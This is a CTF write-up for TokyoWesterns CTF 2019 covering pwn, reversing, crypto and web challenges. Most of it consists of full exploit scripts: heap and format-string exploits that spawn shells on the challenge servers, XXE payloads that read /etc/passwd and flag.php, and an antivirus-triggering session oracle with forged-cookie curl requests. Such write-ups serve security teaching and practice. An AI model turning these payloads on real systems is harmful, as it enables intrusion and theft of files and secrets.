TokyoWesterns CTF 5th 2019 Writeup
Pwn
nothing more to say
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2018 anciety <anciety@anciety-pc>
#
# Distributed under terms of the MIT license.
import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['ancyterm', '-s', '192.168.142.1', '-t', 'alacritty', '-e']
# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rr = tube.recvregex
tube.irt = tube.interactive
if len(sys.argv) > 2:
DEBUG = 0
HOST = sys.argv[1]
PORT = int(sys.argv[2])
p = remote(HOST, PORT)
else:
DEBUG = 1
if len(sys.argv) == 2:
PATH = sys.argv[1]
p = process(PATH)
# by w1tcher who dominates pwnable challenges
def house_of_orange(head_addr, system_addr, io_list_all):
payload = b'/bin/sh\x00'
payload = payload + p64(0x61) + p64(0) + p64(io_list_all - 16)
payload = payload + p64(0) + p64(1) + p64(0) * 9 + p64(system_addr) + p64(0) * 4
payload = payload + p64(head_addr + 18 * 8) + p64(2) + p64(3) + p64(0) + \
p64(0xffffffffffffffff) + p64(0) * 2 + p64(head_addr + 12 * 8)
return payload
orig_attach = gdb.attach
def gdb_attach(*args, **kwargs):
if DEBUG:
orig_attach(*args, **kwargs)
gdb.attach = gdb_attach
def main():
# Your exploit script goes here
p.ru(':)\n')
pop_rdi = 0x400773
gets = 0x400580
ropchain = p64(pop_rdi)
ropchain += p64(0x601090)
ropchain += p64(gets)
ropchain += p64(0x601090)
payload = 'a' * 0x108 + ropchain
shellcode = shellcraft.sh()
gdb.attach(p)
p.sl(payload)
p.sl(asm(shellcode))
p.irt()
if __name__ == '__main__':
main()
Multi Heap
from pwn import *
context.log_level = 'debug'
def Alloc(which, size, where):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Which: ')
p.sendline(which)
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('(m/t): ')
p.sendline(where)
def Free(idx):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
def Free_s(idx):
return '2\n' + str(idx) + '\n'
def Write(idx):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))
def Read(idx, size, buf):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
p.send(buf)
def Copy(src_idx, dst_idx, size, ch):
p.recvuntil('Your choice: ')
p.sendline('5')
p.recvuntil('Src index: ')
p.sendline(str(src_idx))
p.recvuntil('Dst index: ')
p.sendline(str(dst_idx))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('(y/n): ')
p.sendline(ch)
def Copy_s(src_idx, dst_idx, size, ch):
return '5\n' + str(src_idx) + '\n' + str(dst_idx) + '\n' + str(size) + '\n' + ch + '\n'
def GameStart(ip, port, debug):
global p
if debug == 1:
p = process('./multi_heap', env = {'LD_PRELOAD' : './libc.so.6'})
else:
p = remote(ip, port)
for i in range(3):
Alloc('long', 0x500, 'm')
for i in range(2):
Free(0)
Alloc('long', 0x500, 'm')
Alloc('long', 0x500, 'm')
Write(1)
libc_addr = int(p.recvline()) - 0x3ebca0
heap_addr = int(p.recvline()) - 0x123f0
log.info('libc addr is : ' + hex(libc_addr))
log.info('heap addr is : ' + hex(heap_addr))
Alloc('char', 0x100, 'm')
Alloc('char', 0x100, 'm')
Read(4, 8, p64(heap_addr + 0x12fe0))
# p.recv(1024)
# p.sendline('10')
# Copy(4, 3, 8, 'y')
# Write(3)
# Write(4)
# Free(3)
buf = Copy_s(4, 3, 8, 'y') + Free_s(3)
p.send(buf)
Alloc('char', 0x100, 'm')
Alloc('char', 0x100, 'm')
Write(5)
data = p.recvline()
if '==' in data:
print 'error !'
return
one_gadget = 0x4f2c5
one_gadget = 0x4f322
# one_gadget = 0xe569f
# one_gadget = 0xe5858
# one_gadget = 0xe585f
# one_gadget = 0xe5863
# one_gadget = 0x10a38c
# one_gadget = 0x10a398
pie_addr = u64(data[ : -1] + '\x00' * 2) - 0x205bc8
log.info('pie addr is : ' + hex(pie_addr))
payload = p64(heap_addr + 0x12fe0 + 0x20) + p64(0) + p64(0) + p64(0) + p64(one_gadget + libc_addr) * 4
Read(5, len(payload), payload)
Free(3)
# gdb.attach(p)
p.interactive()
if __name__ == '__main__':
GameStart('multiheap.chal.ctf.westerns.tokyo', 10001, 0)
printf
from pwn import *
context.log_level = 'debug'
def GameStart(ip, port, debug):
global p
if debug == 1:
# p = process(['./ld-linux.so.2', './printf'], env = {"LD_PRELOAD" : './libc.so.6'})
p = process('./printf', env = {"LD_PRELOAD" : './libc.so.6'})
else:
p = remote(ip, port)
# gdb.attach(pidof(p)[0])
raw_input('wait to debug')
p.recvuntil('name?\n')
p.sendline('%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x|%llx|%x%x%x%x%x%x%x%x%x|%llx|%llx|%llx|')
data = p.recvuntil('Do you')
idx = data.index('|')
stack_base = int(data[idx + 1 : data.index('|', idx + 1)], 16) - 0x266 -0x10
idx = data.index('|', idx + 1)
idx = data.index('|', idx + 1)
canary = int(data[idx + 1 : data.index('|', idx + 1)], 16)
idx = data.index('|', idx + 1)
pie_base = int(data[idx + 1 : data.index('|', idx + 1)], 16)
idx = data.index('|', idx + 1)
libc_base = int(data[idx + 1 : data.index('|', idx + 1)], 16) - 0x26b6b
log.info("stack base is : " + hex(stack_base))
log.info("canary is : " + hex(canary))
log.info("pie base is : " + hex(pie_base))
log.info("libc base is : " + hex(libc_base))
strlen_got_offest = 0x1E40A8 + libc_base
system_offest = 0x52FD0 + libc_base
one_gadget = 0x106ef8 + libc_base
offest = stack_base - strlen_got_offest - 23 + 8 - 0x10
payload = "/bin/sh;%c" + '%c' * 26 + ';' * 5 + p64(one_gadget)[ : 6] + '%%%dc' % offest + '%c' + ';' * 8 + '%c' * (8 * 4 - 26)
payload = payload.ljust(0x100, '\x00')
p.recvuntil("comment?\n")
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
GameStart('printf.chal.ctf.westerns.tokyo', 10001, 0)
SecureKarte
from pwn import *
context.log_level = 'debug'
def add(sz, des):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil(' > ')
p.sendline(str(sz))
p.recvuntil(' > ')
p.send(des)
p.recvuntil('Added id ')
return int(p.recvline()[ : -1])
def delete(idx):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil(' > ')
p.sendline(str(idx))
def modify(idx, des):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil(' > ')
p.sendline(str(idx))
p.recvuntil(' > ')
p.send(des)
def rename(name):
p.recvuntil('> ')
p.sendline('99')
p.recvuntil('name... ')
p.send(name)
def GameStart(ip, port, debug):
global p
if debug == 1:
p = process('./karte', env = {"LD_PRELOAD" : './libc.so.6'})
else:
p = remote(ip, port)
p.recvuntil('name... ')
p.send(p64(0) + p64(0x80))
for i in range(7):
idx = add(0x78, 'swing tql')
delete(idx)
for i in range(7):
idx = add(0x68, 'swing tql')
delete(idx)
for i in range(7):
idx = add(0x10, 'swing tql')
delete(idx)
idx1 = add(0x78, 'swing tql')
idx2 = add(0x78, 'swing tql')
delete(idx1)
delete(idx2)
modify(idx2, p64(0x6021A0)[ : 4])
idx1 = add(0x78, 'swing tql')
idx2 = add(0x78, p64(0) * 2 + p64(0) + p64(0x21) + p64(0) * 2 + p64(0) + p64(0x21) + p64(0) * 4 + p64(0) + p64(0x21))
rename(p64(0) + p64(0x21))
idx3 = add(0x801, 'swing tql')
delete(idx2)
delete(idx3)
rename(p64(0) + p64(0x21) + p64(0) + p64(0x602118 - 5 - 0x10))
idx2 = add(0x10, 'swing tql')
rename(p64(0) + p64(0x71))
delete(idx2)
rename(p64(0) + p64(0x71) + p64(0x602110))
delete(idx1)
idx1 = add(0x68, '/bin/sh;')
# gdb.attach(p, 'b * 0x400B17\nc')
idx2 = add(0x68, p64(0x0000000400000003) + p64(0) * 3 + p64(0x0000100000001) + p64(0x602018) + p64(0) + p64(0) + p64(0x0000200000001) + p64(0x602068) + p64(0x0000deadc0bebeef))
modify(1, p64(0x400760)[ : 6])
delete(2)
libc_base = u64(p.recvline()[ : -1] + '\x00' * 2) - 0x97070
log.info('libc base is : ' + hex(libc_base))
system_addr = libc_base + 0x4f440
modify(2, p64(system_addr)[ : 6])
p.recvuntil('> ')
p.sendline('1')
p.recvuntil(' > ')
p.sendline(str(0x6021b0))
p.interactive()
if __name__ == '__main__':
GameStart('karte.chal.ctf.westerns.tokyo', 10001, 0)
Asterisk-Alloc
from pwn import *
local=0
remote_addr=['ast-alloc.chal.ctf.westerns.tokyo',10001]
libc=ELF('./bytedance/libc-2.27.so')
p=remote(remote_addr[0],remote_addr[1])
#context.log_level = True
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr = None):
if addr:
print('\033[1;31;40m[+] %-15s --> 0x%8x\033[0m'%(s,addr))
else:
print('\033[1;32;40m[-] %-20s \033[0m'%(s))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def choice(idx):
#ru("5. exit\n")
#rl()
sla(": ", str(idx))
def malloc(size, content):
choice(1)
sla(": ", str(size))
sa(": ", content)
def calloc(size, content):
choice(2)
sla(": ", str(size))
sa(": ", content)
def realloc(size, content):
choice(3)
sla(": ", str(size))
if(size > 0):
sa(": ", content)
else:
ru(":")
def rm(idx):
choice(4)
sla(": ", idx)
def create(size):
realloc(size, 'AA')
for i in range(7):
rm('r')
realloc(0,'')
if __name__ == '__main__':
create(0x30)
create(0x20)
create(0x40)
create(0x60)
create(0x50)
realloc(0x70, 'AA')
realloc(0,'')
sla(": ", '1'*0x500)
#realloc(0x90, p32(0xdd0760)[0:3])
#realloc(0x28,p64(0))
#realloc(0,'')
realloc(0x150,'\x00'*0x128 + p64(0xe1)+p32(0x7758)[0:2])
realloc(0,'')
realloc(0x50,p64(0))
malloc(0x58,'/bin/sh\x00'+p64(0xfbad3c80)+p64(0)*3+p8(0))
rv(8)
libc_addr = u64(rv(8)) - 0x3ed8b0
lg("libc",libc_addr)
libc.address = libc_addr
realloc(0x150, '\x00'*0x58 + p64(0x21) + p64(libc.symbols['__free_hook'])+p64(0x21)*4)
realloc(0,'')
realloc(0x70,'\x00')
realloc(0,'')
realloc(0x70,p64(libc.symbols['system']))
rm('m')
sl("cat flag")
p.interactive()
RE
Easy Crack Me
Search for all possible strings and check them.
#include <cstdio>
int num[16] = {3, 2, 2, 0, 3, 2, 1, 3, 3, 1, 1, 3, 1, 2, 2, 3};
int bsum[8] = {0x15e, 0xda, 0x12f, 0x131, 0x100, 0x131, 0xfb, 0x102};
int bxor[8] = {0x52, 0xc, 0x1, 0xf, 0x5c, 0x5, 0x53, 0x58};
int gsum[8] = {0x129, 0x103, 0x12b, 0x131, 0x135, 0x10b, 0xff, 0xff};
int gxor[8] = {0x1, 0x57, 0x7, 0xd, 0xd, 0x53, 0x51, 0x51};
char a[33] = "AfOAO87OAOOAAOOAO2AOAAOOO4AOOOA5";
int esum = 1160;
bool checkeven()
{
int sum = 0;
for (int i = 0; i < 32; i += 2)
if (a[i] == 'A' || a[i] == 'O')
return true;
else
sum += a[i];
return sum == esum;
}
bool checkbsum(int p)
{
int s = p / 4 * 4;
int sum = 0;
for (int i = s; i < s + 4; ++i)
if (a[i] == 'A' || a[i] == 'O')
return true;
else
sum += a[i];
return sum == bsum[p / 4];
}
bool checkbxor(int p)
{
int s = p / 4 * 4;
int sum = 0;
for (int i = s; i < s + 4; ++i)
if (a[i] == 'A' || a[i] == 'O')
return true;
else
sum ^= a[i];
return sum == bxor[p / 4];
}
bool checkgsum(int p)
{
int s = p % 8;
int sum = 0;
for (int i = s; i < 32; i += 8)
if (a[i] == 'A' || a[i] == 'O')
return true;
else
sum += a[i];
return sum == gsum[s];
}
bool checkgxor(int p)
{
int s = p % 8;
int sum = 0;
for (int i = s; i < 32; i += 8)
if (a[i] == 'A' || a[i] == 'O')
return true;
else
sum ^= a[i];
return sum == gxor[s];
}
bool check(int p)
{
if (p % 2 == 0)
if (!checkeven())
return false;
if (!checkbsum(p))
return false;
if (!checkbxor(p))
return false;
if (!checkgsum(p))
return false;
if (!checkgxor(p))
return false;
return true;
}
void dfs(int p)
{
if (p == 32) {
puts(a);
return;
}
if (a[p] == 'A') {
for (char c = 'a'; c <= 'f'; ++c)
if (num[c - 'a' + 10]) {
--num[c - 'a' + 10];
a[p] = c;
if (check(p))
dfs(p + 1);
a[p] = 'A';
++num[c - 'a' + 10];
}
}
else if (a[p] == 'O') {
for (char c = '0'; c <= '9'; ++c)
if (num[c - '0']) {
--num[c - '0'];
a[p] = c;
if (check(p))
dfs(p + 1);
a[p] = 'O';
++num[c - '0'];
}
}
else
dfs(p + 1);
}
int main()
{
for (int i = 0; i < 32; ++i)
if (a[i] >= 'a' && a[i] <= 'z')
--num[a[i] - 'a' + 10];
else if (a[i] >= '0' && a[i] <= '9')
--num[a[i] - '0'];
dfs(0);
return 0;
}
meow
we can dump the bytecode by nekoc.exe
read it and find the pic is 768*768, and the program call read_pixel twice then write_pixel twice.
so test it by all (0,0,0)
find the pixel equation is p[ i, j ] = p[ o[i], j ] ^ t[ i, j ]
so dump the t by all (0,0,0)
and dump the o by p[i, j] = (0, i%256, i//256)
we can decode it
from PIL import Image
with open("t", "rb") as f:
t = f.read()
with open("o", "r") as f:
o = f.readlines()
img = Image.open("flag_enc.png")
p = img.load()
flag = Image.new("RGBA", (768, 768))
for i in range(768):
for j in range(768):
tt = t[i*768+j]
oo = int(o[i])
pp = p[i,j]
flag.putpixel((oo,j), (pp[0]^tt, pp[1]^tt, pp[2]^tt, 255))
flag.save("flag.png")
EBC
from ida_bytes import get_dword, patch_dword
code = 0x401354
magic = 0x10028160
#ln, ptr = 0x2C0, 0x402114
#ln, ptr = 0x760, 0x4023DC
#ln, ptr = 0x830, 0x402B44
ln, ptr = 0x930, 0x40337C
key = get_dword(ptr) ^ magic
print('0x%08X' % (key))
for i in xrange(0, ln, 4):
patch_dword(code + i, get_dword(ptr + i) ^ key)
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
uint64_t ADD(uint64_t a, uint64_t b)
{
return a + b;
}
uint64_t SUB(uint64_t a, uint64_t b)
{
return a - b;
}
uint64_t XOR(uint64_t a, uint64_t b)
{
return a ^ b;
}
uint64_t OR(uint64_t a, uint64_t b)
{
return a | b;
}
uint64_t NOT(uint64_t a, uint64_t b)
{
return ~a;
}
uint64_t NEG(uint64_t a, uint64_t b)
{
return 0 - a;
}
uint64_t SHL(uint64_t a, uint64_t b)
{
return a << b;
}
uint64_t SHR(uint64_t a, uint64_t b)
{
return a >> b;
}
int check1(uint64_t R1)
{
uint64_t R2, R3, R4, R5, R6, R7;
// ...
return R1 == R7;
}
int check2(uint64_t R1)
{
uint64_t R2, R3, R4, R5, R6, R7;
// ...
return R1 == R7;
}
int check3(uint64_t R1)
{
uint64_t R2, R3, R4, R5, R6, R7;
// ...
return R1 == R7;
}
int check4(uint64_t R1)
{
uint64_t R2, R3, R4, R5, R6, R7;
// ...
return R1 == R7;
}
uint32_t tbl[256] = {
// crc 32
};
char chars[] = "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ";
int crack(uint8_t a, uint8_t b, uint8_t c, uint8_t d)
{
uint8_t arr[4] = { a, b, c, d };
uint32_t v = 0xFFFFFFFF, k = 0xC13FA3BB; // 0x43451B65 0x54AAF64B 0x52976ABD 0xC13FA3BB
for (int i = 0; i < 4; i++)
v = (v >> 8) ^ tbl[(v & 0xFF) ^ arr[i]];
k ^= 0xFFFFFFFF;
for (int i = 0; i < 4; i++)
{
uint32_t t = k & 0xFF000000;
int x = -1;
for (int j = 0; j < 0x100; j++)
if ((tbl[j] & 0xFF000000) == t)
x = j;
arr[3 - i] = x;
k = (k ^ tbl[x]) << 8;
}
for (int i = 0; i < 4; i++)
{
uint8_t t = (v & 0xFF) ^ arr[i];
if (strchr(chars, t) == NULL)
return 0;
v = (v >> 8) ^ tbl[arr[i]];
arr[i] = t;
}
uint64_t y = 0;
uint8_t *p = (uint8_t*)&y;
p[0] = a;
p[1] = b;
p[2] = c;
p[3] = d;
p[4] = arr[0];
p[5] = arr[1];
p[6] = arr[2];
p[7] = arr[3];
if (check4(y))
printf("%c%c%c%c%c%c%c%c\n", a, b, c, d, arr[0], arr[1], arr[2], arr[3]);
}
int main(int argc, char*argv[])
{
uint8_t a, b, c, d;
uint8_t begin = 0, end = 63;
for (a = begin; a < end; a++)
{
for (b = begin; b < end; b++)
{
for (c = begin; c < end; c++)
{
for (d = begin; d < end; d++)
{
crack(chars[a], chars[b], chars[c], chars[d]);
}
}
}
printf("a: %c\n", chars[a]);
}
}
Holy Grail War
from struct import pack, unpack
def ROL(a, b):
return ((a << b) & 0xFFFFFFFF) | (a >> (0x20 - b))
def ROR(a, b):
return ((a << (0x20 - b)) & 0xFFFFFFFF) | (a >> (b))
def ADD(a, b):
return ((a + b) & 0xFFFFFFFF)
def SUB(a, b):
return ((a - b) & 0xFFFFFFFF)
keys = [
"ee9ef18322ed45da846d740f6dab5659efc01789b6f35c7add1267791ffb096069c55b6ad3576c37380dbae978e082bec16c8577eecf73a2832c14d4a674730168aeaea30423b5029e4b3d0ebf80b01e4b37a8300f0ff18409358202abbfdad0c65353c88e268e76",
"810378a893b825d35ff2892881923c097013a30cbebb1af0eb1e9b06cd655b3312f8a0db2e1f6426e048cdcd0980fb2f6d7d07754a62238f0af2c87101b854e236a93b442f4a4f6f5f59ba8aa630859a0e5a2ac48d30d89abd8d6242de10abab0e66959f3ce90eae",
"504935776d303b1135128a3fd16eafe3e9d14cf5e871fb9eba448d297022678f2370a9e95bd40071e4a5f208a5e409eec79f53c6538753c84b1b9ef50e2968d203d2f176b2e91799d4328a900101d2e88ef89260ec73fc845827d9cb2464a64417957782febe39ec",
"f82654105fd5452901c16e5a75fc603ca35f36bc9c697655158754991fbd081c975637d54cfc161f91e71b54ff149316dbc2bfdd7f1e139c6e6a9bec9808701967c00b63c8df545161579a7304e3bc9e469d8f6da45690369ee0c45be8bb39a1623d0293779197e5",
"edb6156e9e3459f2d8fdd4fe2b489a75d60f154bf19826d4e18cd885ee96372594f61a9447b39709bb2eb2cd6cf55e36903e8f45c336c5a14d28e100377b555ff8dff6ad96a06062f51fb83d0a078e7afa09067a19ed6d9ed54377375b5aad8e2147bf69a493ea04",]
keys = map(lambda x:unpack('<26I', x.decode('hex')), keys)
s = 'd4f5f0aa8aeee7c83cd8c039fabdee6247d0f5f36edeb24ff9d5bc10a1bd16c12699d29f54659267'.decode('hex')
flag = ''
r = 0
for i in xrange(0, len(s), 8):
x, y = unpack('>2I', s[i:i+8])
k = keys[r]
for ii in xrange(24):
i = 24 - ii - 1
y, t = x, y
x = ROR(SUB(t, k[i + 2]), y & 0x1F) ^ y
y = SUB(y, k[1])
x = SUB(x, k[0])
flag += pack('>2I', x, y)
r += 1
print(flag)
Flag: TWCTF{Fat3_Gr4nd_Ord3r_1s_fuck1n6_h07}
Misc
Welcome
The flag is TWCTF{Welcome_to_TWCTF_2019!!!}
.
Survey
Submit form and you get the flag
Crypto
real-baby-rsa
Crack it byte by byte.
Simple Logic
We can enumerate the lower bits of key. The lower bits of encrypted text should be correct once we find the correct lower bits (e.g. 07 bit) of key. After finding the lower bits of key, we can then enumerate some higher bits (e.g. 815 bit) of it.
Happy!
Coppersmith attack:
pol = x^2 - inverse_mod(cf,N)*x
beta = 1
roots = coppersmith_howgrave_univariate(pol, N, beta, mm, tt, XX)
M-Poly-Cipher
This cipher algorithm is as follows.
- genkey
- Generate 8x8 matrices $K1, K2, K3, P$.
- The first 4 rows of $K1$ and $K2$ and all elements of $P$ is generated randomly. The last 4 rows of $K1$ and $K2$ are linear correlated with their first 4 rows.
- Find $K3$ that satisfies $K1 \times P \times P + K2 \times P \times K3 = 0$.
- $K1, K2, K3$ are public keys. $P$ is private key.
- encrypt
- A = convert_to_matrix(text)
- Generate random matrix S.
- $E1 = S \times K1, E2 = S \times K2, E3 = A + S \times K3$
- $E1, E2, E3$ are encrypted text
- decrypt
- $A = E1 \times P \times P + E2 \times P + E3$
- text = convert_to_text(A)
We can solve $S$ through $S = (E1 + E2) \times ((K1 + K2)^{-1})$. Then $A = E3 - S \times K3$.
Web
j2x2j
URL: http://j2x2j.chal.ctf.westerns.tokyo/
Basically, it is a converter service for JSON
we were able to leak the /etc/passwd
file by using XXE vulnerability
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
Since it is PHP, we can RFI using php://
and arbitrarily load a file we want. For this challenge, we used php://filter
to base64-encode the flag.php file.
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=flag.php"> ]>
<contacts>
<contact>
<name>Jean &xxe; Dupont</name>
<phone>00 11 22 33 44</phone>
<adress>42 rue du CTF</adress>
<zipcode>75000</zipcode>
<city>Paris</city>
</contact>
</contacts>
Response of the above request is as followes:
{
"contact": {
"name": "Jean PD9waHAKJGZsYWcgPSAnVFdDVEZ7dDFueV9YWEVfc3QxbGxfZXgxc3RzX2V2ZXJ5d2hlcmV9JzsK Dupont",
"phone": "00 11 22 33 44",
"adress": "42 rue du CTF",
"zipcode": "75000",
"city": "Paris"
}
}
By decoding the base64 content from the name, We were able to retrieve the content of the flag.php file.
<?php
$flag = 'TWCTF{t1ny_XXE_st1ll_ex1sts_everywhere}';
Flag: TWCTF{t1ny_XXE_st1ll_ex1sts_everywhere}
PHP Note
The source was available at http://phpnote.chal.ctf.westerns.tokyo/?action=source
. We were able to find some little logic bugs in this file.
function gen_secret($seed) {
return md5(SALT . $seed . PEPPER);
}
...
if ($action === 'login') {
if ($method === 'POST') {
$nickname = (string)$_POST['nickname'];
$realname = (string)$_POST['realname'];
if (empty($realname) || strlen($realname) < 8) {
die('invalid name');
}
$_SESSION['realname'] = $realname;
if (!empty($nickname)) {
$_SESSION['nickname'] = $nickname;
}
$_SESSION['secret'] = gen_secret($nickname);
}
redirect('index');
}
As we see in the code above, $_SESSION['nickname']
is not properly sanitized like $_SESSION['realname']
, making possible for us to execute gen_secret('')
, which returns md5(SALT . PEPPER);
But this didn't really help us anything much to find the actual vulnerability.
so we looked a bit around and found out that the server is IIS 10 by looking at the Server:
header from the HTTP response.
...
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.3.9
Then We recalled the @icchy's writeup for the WCTF challenge Gyotaku The Flag (https://westerns.tokyo/wctf2019-gtf/wctf2019-gtf-slides.pdf)
So we thought of the strategy and was as followes:
- PHPSESSID is stored in the filesystem.
- Considering that this is a Windows + IIS challenge, we can make Windows Defender angry by writing dangerous contents into the session, and destroy PHPSESSID data.
- After the dangerous content is removed, we can manipulate the session and leak secret key byte by byte.
To prove that this works, we installed a fresh version of windows and installed IIS with PHP and sourcecode on it. then we logged in with the following parameters on login page via POST.
----------1384459925
Content-Disposition: form-data; name="realname"
--!><html><head><script>var b="$EICAR-STANDARD-ANTIVIRUS-TEST-FILE";var a="X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H"+"*";eval(a);</script></head><body>
----------1384459925
Content-Disposition: form-data; name="nickname"
11
----------1384459925--
After that we noticed the Threats found
alert, then we found out that some bytes are removed from the PHPSESSID. With that in mind, we made a exploit to leak the flag.
import requests
URL = "http://phpnote.chal.ctf.westerns.tokyo" # changeme
def trigger(c, idx):
import string
p = '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
p = string.Template(p).substitute({'idx': idx, 'c': c})
return p
def leak(idx):
l, h = 0, 0x100
while h - l > 1:
m = (h + l) // 2
gid = trigger(m, idx)
# r = requests.post(URL + '/?action=login', data={'realname': gid, 'nickname': '1'})
# print r.content
# exit()
s = requests.session()
s.post(URL + '/?action=login', data={'realname': gid, 'nickname': ''})
if "/?action=login" in s.post(URL + '/?action=login', data={'realname': gid, 'nickname': '</body>'}).content:
l = m
else:
h = m
return chr(l)
data = ''
for i in range(100):
data += leak(i)
print(data)
$ python leak.py
b
bo
bos
bosy
bosyc
bosycr
bosycre
bosycret
bosycret|
bosycret|s
bosycret|s:
bosycret|s:3
bosycret|s:32
...
bosycret|s:32:"2532bd172578d19923e5348420e02320";nickname|s
bosycret|s:32:"2532bd172578d19923e5348420e02320";nickname|s:
bosycret|s:32:"2532bd172578d19923e5348420e02320";nickname|s:7
bosycret|s:32:"2532bd172578d19923e5348420e02320";nickname|s:7:
bosycret|s:32:"2532bd172578d19923e5348420e02320";nickname|s:7:"
Now we have the secret for user with nickname of </body>
.
$ cat flag.php
<?php
class Note {
public function __construct($admin) {
$this->notes = array();
$this->isadmin = $admin;
}
public function addnote($title, $body) {
array_push($this->notes, [$title, $body]);
}
public function getnotes() {
return $this->notes;
}
public function getflag() {
if ($this->isadmin === true) {
echo FLAG;
}
}
}
function verify($data, $hmac) {
$secret = $_SESSION['secret'];
if (empty($secret)) return false;
return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}
function hmac($data) {
$secret = $_SESSION['secret'];
if (empty($data) || empty($secret)) return false;
return hash_hmac('sha256', $data, $secret);
}
function gen_secret($seed) {
return "2532bd172578d19923e5348420e02320";
}
// create session
$_SESSION = Array();
$_SESSION['secret'] = gen_secret('');
$_SESSION['realname'] = "stypr stypr";
$_SESSION['nickname'] = "";
// generate note
$note = new Note(true);
$note->addnote("work", "work");
$data = base64_encode(serialize($note));
/* verify
//echo "Data: ".(string)$data."\n";
//echo "HMAC: ".(string)hmac($data)."\n";
//echo "-----";
//var_dump(verify((string)$data, (string)hmac($data)));
*/
?>
curl -s 'http://phpnote.chal.ctf.westerns.tokyo/?action=logout' -H 'Cookie: PHPSESSID=468b674d8d6139373a064b832efdf47a;' --insecure
curl -s 'http://phpnote.chal.ctf.westerns.tokyo/?action=login' -H 'Cookie: PHPSESSID=468b674d8d6139373a064b832efdf47a;' --data 'nickname=</body>&realname=stypr+stypr' --compressed --insecure
curl -s "http://phpnote.chal.ctf.westerns.tokyo/?action=getflag" -H "Cookie: PHPSESSID=468b674d8d6139373a064b832efdf47a; note=<?php echo $data; ?>; hmac=<?php echo hmac($data); ?>;"
$ php flag.php | sh | grep "TWCTF"
TWCTF{h0pefully_I_haven't_made_a_m1stake_again}<!doctype html>
Flag: TWCTF{h0pefully_I_haven't_made_a_m1stake_again}